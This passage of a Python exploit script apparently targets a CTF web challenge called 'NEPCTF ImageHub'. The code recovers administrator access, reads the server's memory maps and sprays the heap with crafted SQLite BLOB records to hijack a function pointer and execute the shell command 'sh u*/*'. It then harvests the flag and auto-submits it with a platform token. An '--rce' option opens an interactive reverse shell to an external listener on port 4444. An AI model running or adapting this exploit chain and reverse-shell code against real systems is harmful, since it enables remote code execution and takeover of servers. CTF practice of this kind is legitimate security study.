    for index in range(rounds):
        response = profile(
            Client(base_url, insecure=insecure, timeout=75),
            username,
            timeout=75,
        )
        # The production route catches sqlite3.Error and renders an empty
        # recommendation table with HTTP 200.  The focal harness used while
        # measuring the retained interval lets the same overflow propagate as
        # HTTP 500.  Both occur only after fetchall has converted the preceding
        # BLOB rows, so either response completes the intended calibration.
        if response.status not in {200, 500}:
            raise RuntimeError(
                f"calibration {index + 1} returned unexpected HTTP {response.status}"
            )
        print(
            f"[+] fetchall calibration {index + 1}/{rounds} "
            f"(HTTP {response.status})"
        )
        time.sleep(REQUEST_SETTLE_SECONDS)


def load_token(config: Optional[Path], explicit: Optional[str]) -> Optional[str]:
    if explicit:
        return explicit.strip()
    if config is None or not config.exists():
        return None
    data = json.loads(config.read_text(encoding="utf-8"))
    for key in ("token", "jwt", "access_token"):
        if data.get(key):
            return str(data[key])
    raise RuntimeError(f"no platform token in {config}")


def submit_flag(flag: str, token: str, *, insecure: bool) -> str:
    body = json.dumps({"content": flag}).encode()
    req = Request(
        f"{PLATFORM}/api/game/{GAME_ID}/challenge/{CHALLENGE_ID}/submit",
        data=body,
        headers={
            "Authorization": "Bearer " + token,
            "Content-Type": "application/json",
        },
        method="POST",
    )
    context = ssl._create_unverified_context() if insecure else ssl.create_default_context()
    with build_opener(HTTPSHandler(context=context)).open(req, timeout=25) as response:
        return response.read().decode("utf-8", "replace")


def fetch_result(
    client: Client, result_name: str
) -> tuple[Optional[str], Optional[str]]:
    try:
        response = client.request(
            "GET", "/uploads/" + quote(result_name, safe=""), timeout=3
        )
    except (URLError, TimeoutError, OSError):
        return None, None
    if response.status != 200:
        return None, None
    match = FLAG_PATTERN.search(response.text)
    return (match.group(0) if match else None), response.text.strip()


def fetch_flag(client: Client, result_name: str) -> Optional[str]:
    return fetch_result(client, result_name)[0]


def trigger_and_poll(
    base_url: str, insecure: bool, username: str, result_name: str
) -> tuple[Optional[str], str]:
    state: dict[str, str] = {}

    def trigger() -> None:
        try:
            response = profile(
                Client(base_url, insecure=insecure, timeout=60),
                username,
                timeout=60,
            )
            state["result"] = f"HTTP {response.status}"
        except Exception as exc:  # a crash/closed socket is expected
            state["result"] = type(exc).__name__

    thread = threading.Thread(target=trigger, daemon=True)
    thread.start()
    public = Client(base_url, insecure=insecure, timeout=3)
    # The helper performs bounded filesystem and privilege-helper discovery
    # before publishing its per-run artifact.  Keep polling beyond those
    # individual timeouts; the helper sleeps after publication so the result
    # remains fetchable before the corrupted request unwinds.
    deadline = time.monotonic() + 110
    while time.monotonic() < deadline:
        flag, artifact = fetch_result(public, result_name)
        if flag:
            return flag, state.get("result", "trigger still running")
        if artifact and not artifact.startswith("RUNNING"):
            return None, "helper output: " + artifact[:12000]
        if not thread.is_alive() and "result" in state:
            # A wrong but safely handled phase normally returns HTTP 200 in
            # production because the route catches sqlite3.Error.
            time.sleep(0.3)
            flag, artifact = fetch_result(public, result_name)
            if artifact and not flag:
                return None, "helper output: " + artifact[:12000]
            return flag, state["result"]
        time.sleep(0.12)
    flag, artifact = fetch_result(public, result_name)
    if artifact and not flag:
        return None, "helper output: " + artifact[:12000]
    return flag, state.get("result", "trigger timeout")


def trigger_external_rce(
    base_url: str,
    insecure: bool,
    username: str,
    status_name: str,
    timeout: float,
) -> tuple[bool, str]:
    """Trigger one phase and poll the uploaded callback status marker."""
    state: dict[str, str] = {}

    def trigger() -> None:
        try:
            response = profile(
                Client(base_url, insecure=insecure, timeout=timeout),
                username,
                timeout=timeout,
            )
            state["result"] = f"HTTP {response.status}"
        except Exception as exc:  # a crash/closed socket is expected
            state["result"] = type(exc).__name__

    thread = threading.Thread(target=trigger, daemon=True)
    thread.start()
    public = Client(base_url, insecure=insecure, timeout=3)
    deadline = time.monotonic() + timeout
    while time.monotonic() < deadline:
        _, artifact = fetch_result(public, status_name)
        if artifact:
            if artifact.startswith("CONNECTED"):
                return True, "external callback connected"
            if artifact.startswith("ERROR"):
                return False, "callback error: " + artifact[:500]
        if not thread.is_alive() and "result" in state:
            # A closed trigger connection can race status publication or a
            # short app restart.  Give network-ending phases a longer marker
            # grace period, while ordinary handled HTTP phases remain fast.
            grace = 0.3 if state["result"].startswith("HTTP ") else 4.0
            grace_deadline = min(deadline, time.monotonic() + grace)
            while time.monotonic() < grace_deadline:
                _, artifact = fetch_result(public, status_name)
                if artifact:
                    if artifact.startswith("CONNECTED"):
                        return True, "external callback connected"
                    if artifact.startswith("ERROR"):
                        return False, "callback error: " + artifact[:500]
                time.sleep(0.12)
            return False, state["result"]
        time.sleep(0.12)
    _, artifact = fetch_result(public, status_name)
    if artifact:
        if artifact.startswith("CONNECTED"):
            return True, "external callback connected"
        return False, "callback status: " + artifact[:500]
    return False, state.get("result", "callback status timeout")


def parse_arguments() -> argparse.Namespace:
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=normalize_base_url)
    parser.add_argument("--config", type=Path)
    parser.add_argument("--token")
    parser.add_argument("--insecure", action="store_true")
    parser.add_argument(
        "--calibration-rounds", type=int, default=CALIBRATION_ROUNDS
    )
    parser.add_argument(
        "--direct-phase",
        type=int,
        choices=range(6),
        help=(
            "use the previously verified direct command chain for one known "
            "96-byte record phase instead of the cover schedule"
        ),
    )
    parser.add_argument(
        "--rce",
        nargs="?",
        const=DEFAULT_RCE_HOST,
        metavar="CALLBACK_HOST",
        help=(
            "connect an interactive reverse shell to an external listener; "
            f"CALLBACK_HOST defaults to {DEFAULT_RCE_HOST}"
        ),
    )
    parser.add_argument(
        "--rce-port",
        type=tcp_port,
        default=4444,
        help="target callback TCP port (default: 4444)",
    )
    parser.add_argument(
        "--rce-timeout",
        type=float,
        default=120.0,
        help="seconds to wait for each phase callback (default: 120)",
    )
    args = parser.parse_args()
    if args.rce_timeout <= 0:
        parser.error("--rce-timeout must be positive")
    if args.rce is not None and args.rce.strip() in {"0.0.0.0", "::", "*"}:
        parser.error("--rce must be an address or hostname reachable by the target")
    return args


def main(args: argparse.Namespace) -> int:
    if args.rce is not None:
        print(
            f"[!] start your external listener first: "
            f"{args.rce}:{args.rce_port}"
        )

    token = load_token(args.config, args.token)
    client = Client(args.url, insecure=args.insecure, timeout=35)
    root = client.request("GET", "/")
    if root.status != 200 or "NEPCTF ImageHub" not in root.text:
        if root.status >= 500:
            raise TargetProcessRestart(
                f"challenge returned HTTP {root.status} during recovery"
            )
        raise RuntimeError(f"challenge check failed with HTTP {root.status}")

    admin_password = recover_admin(client)
    login_admin(client, admin_password)
    print("[+] administrator access recovered")

    server_cwd = detect_working_directory(client)
    print(f"[+] server working directory resolved as {server_cwd}")

    # The short shell command sources the first uploads/* entry.  Use a
    # reverse-time name: it sorts before old numeric helpers and every newer
    # invocation sorts before previous helpers that survived an in-place
    # process restart.
    reverse_time = 99_999_999_999_999_999_999 - time.time_ns()
    helper_kind = "shell" if args.rce is not None else "flag"
    # Keep names and upload size identical to the empirically calibrated flag
    # path.  Even small multipart/name/body differences can perturb which
    # short-lived request thread gets a glibc arena and where later PyBytes
    # land within its 96-byte record phase.
    helper_local_name = f"--{reverse_time:020d}-flag.svg"
    result_name = "result-" + secrets.token_hex(8) + ".svg"
    reference_flag_helper = make_flag_helper(result_name)
    helper_content = (
        make_reverse_shell_helper(
            args.rce,
            args.rce_port,
            result_name,
            target_size=len(reference_flag_helper),
        )
        if args.rce is not None
        else reference_flag_helper
    )
    helper_stored = upload(client, helper_local_name, helper_content)
    helper_check = client.request(
        "GET", "/uploads/" + quote(helper_stored, safe=""), timeout=35
    )
    if helper_check.status != 200 or helper_check.body != helper_content:
        raise RuntimeError("uploaded helper did not verify byte-for-byte")
    maps_stored = upload(
        client, "maps_" + secrets.token_hex(4) + ".svg", make_maps_svg()
    )
    print(f"[+] {helper_kind} helper uploaded as {helper_stored}")

    time.sleep(REQUEST_SETTLE_SECONDS)
    warm_user = register_payload_serialized(
        args.url, args.insecure, make_warmup_payload(), "warm"
    )
    for index in range(3):
        response = profile(
            Client(args.url, insecure=args.insecure, timeout=75),
            warm_user,
            timeout=75,
        )
        if response.status != 200 or str(WARM_SIZE) not in response.text:
            raise RuntimeError(f"warm-up {index + 1} failed")
        print(f"[+] allocator warm-up {index + 1}/3")
        time.sleep(REQUEST_SETTLE_SECONDS)

    calibration_payload = fetchall_carrier(
        b"C" * 48, calibration_terminal()
    )
    calibration_user = register_payload_serialized(
        args.url, args.insecure, calibration_payload, "cal"
    )
    run_calibration(
        args.url,
        args.insecure,
        calibration_user,
        args.calibration_rounds,
    )

    heap_start, heap_end, sqlite_base, arenas = read_maps(client, maps_stored)
    warmed_arenas = [
        arena
        for arena in arenas
        if arena[1] - arena[0] > PMOD_FROM_THREAD_ARENA
    ]
    if not warmed_arenas:
        detail = ", ".join(
            f"{start:#x}-{end:#x}" for start, end, _ in arenas
        )
        raise RuntimeError(
            "could not identify a warmed thread arena: " + detail
        )
    # A reused challenge process can retain more than one nearly full glibc
    # thread arena from earlier request threads.  The arena driven furthest
    # into its reserved 64 MiB region is the strongest candidate for the
    # current large-BLOB allocation cycle.  Prefer the lower mapping only as a
    # deterministic tie-breaker (new top-down mmaps commonly appear lower).
    warmed_arenas.sort(
        key=lambda arena: (arena[1] - arena[0], -arena[0]),
        reverse=True,
    )
    arena_start, arena_end, arena_limit = warmed_arenas[0]
    if len(warmed_arenas) > 1:
        detail = ", ".join(
            f"{start:#x}-{end:#x} "
            f"(committed={end - start:#x})"
            for start, end, _ in warmed_arenas
        )
        print(
            "[!] multiple warmed thread arenas found; selecting the "
            f"largest committed candidate: {arena_start:#x}; "
            f"candidates: {detail}"
        )
    pmod = arena_start + PMOD_FROM_THREAD_ARENA
    print(
        f"[+] layout: heap={heap_start:#x}-{heap_end:#x}, "
        f"sqlite={sqlite_base:#x}, thread-arena="
        f"{arena_start:#x}-{arena_end:#x}/{arena_limit:#x}, pMod={pmod:#x}"
    )
    time.sleep(REQUEST_SETTLE_SECONDS)

    if args.rce is None:
        # The flag path retains the original safety gate.  RCE mode skips this
        # 30 MiB SAFE_FAILURE spray because a later command request can leave
        # pMod pointing at the retained/freed safe record for every phase.
        safe_record = qword(SAFE_FAILURE_GADGET) * 12
        safe_payload = fetchall_carrier(
            safe_record,
            trigger_terminal(pmod),
            spray_level=COMMAND_SPRAY_LEVEL,
        )
        safe_user = register_payload_serialized(
            args.url, args.insecure, safe_payload, "safe"
        )
        safe_response = profile(
            Client(args.url, insecure=args.insecure, timeout=75),
            safe_user,
            timeout=75,
        )
        print(f"[+] safe pointer probe returned HTTP {safe_response.status}")
        if safe_response.status not in {200, 500}:
            raise RuntimeError("safe pointer probe returned an unexpected response")
        time.sleep(REQUEST_SETTLE_SECONDS)
        root_after_probe = Client(
            args.url, insecure=args.insecure, timeout=20
        ).request("GET", "/")
        if root_after_probe.status != 200:
            raise RuntimeError("safe pointer probe did not survive")
        print("[+] safe pointer probe survived; enabling command phases")
        time.sleep(REQUEST_SETTLE_SECONDS)
    else:
        print(
            "[+] RCE mode: skipping the retaining safe-pointer spray to keep "
            "the command interval reusable"
        )

    if server_cwd != "/app":
        raise RuntimeError(
            "collision-free command layout requires the confirmed /app cwd"
        )
    # Run the first upload as a new shell.  This is one byte longer than the
    # dot-command form but still fits the eight-byte command slot and avoids
    # shell-specific sourcing/positional-argument behaviour.
    command = b"sh u*/*\x00"
    phases = (
        (args.direct_phase,)
        if args.direct_phase is not None
        else (
            RCE_PHASE_COVER_SCHEDULE
            if args.rce is not None
            else PHASE_COVER_SCHEDULE
        )
    )

    for attempt, phase in enumerate(phases, 1):
        # Cover mode uses the non-colliding pMod+0x30 thunk.  Once a crashing
        # phase identifies the likely alignment, --direct-phase switches to
        # the older, previously verified direct system chain for that phase.
        record = (
            direct_phase_record(command, phase)
            if args.direct_phase is not None
            else collision_free_phase_records(command)[phase]
        )
        trigger_payload = fetchall_carrier(
            record,
            trigger_terminal(pmod),
            spray_level=COMMAND_SPRAY_LEVEL,
        )
        trigger_user = register_payload_serialized(
            args.url, args.insecure, trigger_payload, f"p{attempt}x{phase}"
        )
        if args.rce is not None:
            rce_connected, result = trigger_external_rce(
                args.url,
                args.insecure,
                trigger_user,
                result_name,
                args.rce_timeout,
            )
            flag = None
        else:
            rce_connected = False
            flag, result = trigger_and_poll(
                args.url, args.insecure, trigger_user, result_name
            )
        print(
            f"[+] phase attempt {attempt}/{len(phases)} "
            f"(record {phase}) ended: {result}"
        )
        if rce_connected:
            print(
                f"[+] interactive shell connected to "
                f"{args.rce}:{args.rce_port}; use your server listener"
            )
            return 0
        if not flag:
            if result.startswith(("helper output:", "callback error:")):
                raise RuntimeError(result)
            if args.rce is not None and result in {
                "RemoteDisconnected",
                "ConnectionResetError",
                "BrokenPipeError",
            }:
                if args.direct_phase is None:
                    raise TargetProcessRestart(
                        f"phase {phase} closed the target before publishing "
                        "callback status. The record phase is process-local and "
                        "cannot be reused after a restart"
                    )
                raise RuntimeError(
                    f"direct phase {phase} closed the target before the "
                    "external callback connected; verify the listener/firewall "
                    "and restart the instance before retrying"
                )
            try:
                root_after_phase = Client(
                    args.url, insecure=args.insecure, timeout=20
                ).request("GET", "/")
            except (URLError, TimeoutError, OSError) as exc:
                raise TargetProcessRestart(
                    f"phase {phase} ended without success and the target is "
                    f"temporarily unavailable ({type(exc).__name__})"
                ) from exc
            if root_after_phase.status != 200:
                raise TargetProcessRestart(
                    f"phase {phase} ended without success and the instance exited"
                )
            if args.direct_phase is not None:
                raise RuntimeError(
                    f"selected record phase {phase} returned safely without "
                    "reaching the command path; this process has a different "
                    "record alignment, so rerun without --direct-phase"
                )
            time.sleep(REQUEST_SETTLE_SECONDS)
            continue

        print(f"[+] exact flag: {flag}")
        if token:
            submission = submit_flag(flag, token, insecure=args.insecure)
            print(f"[+] official submission response: {submission}")
        else:
            print("[!] no platform token supplied; exact flag was not auto-submitted")
        return 0

    if args.rce is not None:
        raise RuntimeError("all safe phases completed without an RCE callback")
    raise RuntimeError("all safe phases completed without recovering the exact flag")


def wait_for_target_recovery(
    base_url: str, insecure: bool
) -> None:
    print(
        f"[+] waiting up to {PROCESS_RECOVERY_TIMEOUT_SECONDS:g}s for "
        "two consecutive healthy challenge responses"
    )
    deadline = time.monotonic() + PROCESS_RECOVERY_TIMEOUT_SECONDS
    consecutive = 0
    last_result = "no response"
    while time.monotonic() < deadline:
        try:
            response = Client(
                base_url, insecure=insecure, timeout=6
            ).request("GET", "/", timeout=6)
            if response.status == 200 and "NEPCTF ImageHub" in response.text:
                consecutive += 1
                last_result = "HTTP 200"
                if consecutive >= 2:
                    print("[+] challenge is stable again; recalibrating from scratch")
                    return
            else:
                consecutive = 0
                last_result = f"HTTP {response.status}"
        except (URLError, TimeoutError, OSError) as exc:
            consecutive = 0
            last_result = type(exc).__name__
        time.sleep(PROCESS_RECOVERY_POLL_SECONDS)
    raise RuntimeError(
        "challenge did not recover before timeout; last result was "
        + last_result
    )


def entrypoint() -> int:
    args = parse_arguments()
    for process_attempt in range(1, MAX_PROCESS_ATTEMPTS + 1):
        try:
            return main(args)
        except TargetProcessRestart as exc:
            if process_attempt == MAX_PROCESS_ATTEMPTS:
                raise
            print(
                f"[!] target process lost on exploit run "
                f"{process_attempt}/{MAX_PROCESS_ATTEMPTS}: {exc}"
            )
        except (URLError, TimeoutError, OSError) as exc:
            if process_attempt == MAX_PROCESS_ATTEMPTS:
                raise
            print(
                f"[!] target unavailable on exploit run "
                f"{process_attempt}/{MAX_PROCESS_ATTEMPTS}: "
                f"{type(exc).__name__}"
            )
        wait_for_target_recovery(args.url, args.insecure)
    raise AssertionError("unreachable")


if __name__ == "__main__":
    raise SystemExit(entrypoint())